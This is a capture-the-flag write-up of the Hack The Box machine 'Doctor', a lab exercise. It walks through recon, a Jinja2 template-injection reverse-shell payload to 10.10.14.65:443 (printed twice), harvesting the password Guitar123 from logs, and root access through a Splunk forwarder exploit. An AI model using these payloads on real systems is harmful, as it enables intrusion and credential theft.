1, Recon
enumerate the ports
22/tcp ssh
80/tcp http
8089/tcp ssl/http Splunkd httpd
In this place ,there is a tricky thing, when we change the hosts file and add the doctors.htb
The index page would redirect to /login?next=%2F
I guess it would because of port 8089 is the main domain page.
Let's register an account and we can update the account information
When we want to exchange to the admin ,we can find user admin is existed.
When we successfully post the first post, we can find something interesting from the source code
<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->
Let's check this url.
Visiting returns XML about the posts that exist:
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>hello</title></item>
</channel>
I tried to send payloads that might identify some kind of XXE vulnerability, but didn’t find anything useful.
Python web servers can be vulnerable to Server Side Template Injections. If the user input isn’t sanitized, it can be included in template code rather than handled as text, and this can allow for remote code execution. OWASP has a page that goes into good detail on the background. A quick example would be a Python Jinja2-based server that has a route like this:
@app.route("/hello")
def hello():
user = request.values.get("user")
return Jinja2.from_string(f'Hello {user}!').render()
If the user submits a get request like /hello?user={{7*7}}, the result would be Hello 49!, because the render function would process the text inside curly brackets.
We can find it worked.
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>hello</title></item>
</channel>
<item><title>49</title></item>
</channel>
I’ll grab the RCE payload from PayloadsAllTheThings and modify it by putting in my IP / port, and changing the process to bash -i to get a shell:
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"10.10.14.65\",443)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.65\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
As web, I can see one other user on the box, shaun: user.txt is in shaun’s home directory, but I can’t read it yet.
web is also a member of the adm group:
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
This is interesting because it means that web can read log files. I did a quick grep through all the logs for the string passw (which should get both “passwd” and “password”):
grep -r passw . 2>/dev/null
These would be useful for us:
"POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
We are lucky, this is user shaun
password.
3,Shell as root.
let's check sudo -l
sudo -l
[sudo] password for shaun: Guitar123
Sorry, user shaun may not run sudo on doctor.
But there is something interesting we found:
-rw-rw-r-- 1 shaun shaun 66 Sep 15 2020 .selected_editor
# Generated by /usr/bin/select-editor
SELECTED_EDITOR="/bin/nano"
-rwxr-xr-x 1 root root 2442 Nov 17 2019 /usr/bin/select-editor
But I think this would be rabbit hole, so let's come to port 8089
Splunkd httpd
Local privilege escalation, or remote code execution, through Splunk Universal Forwarder (UF)
https://github.com/cnotin/SplunkWhisperer2.git
Then we have the username shaun
and password Guitar123
We can run this exploit and get the root shell.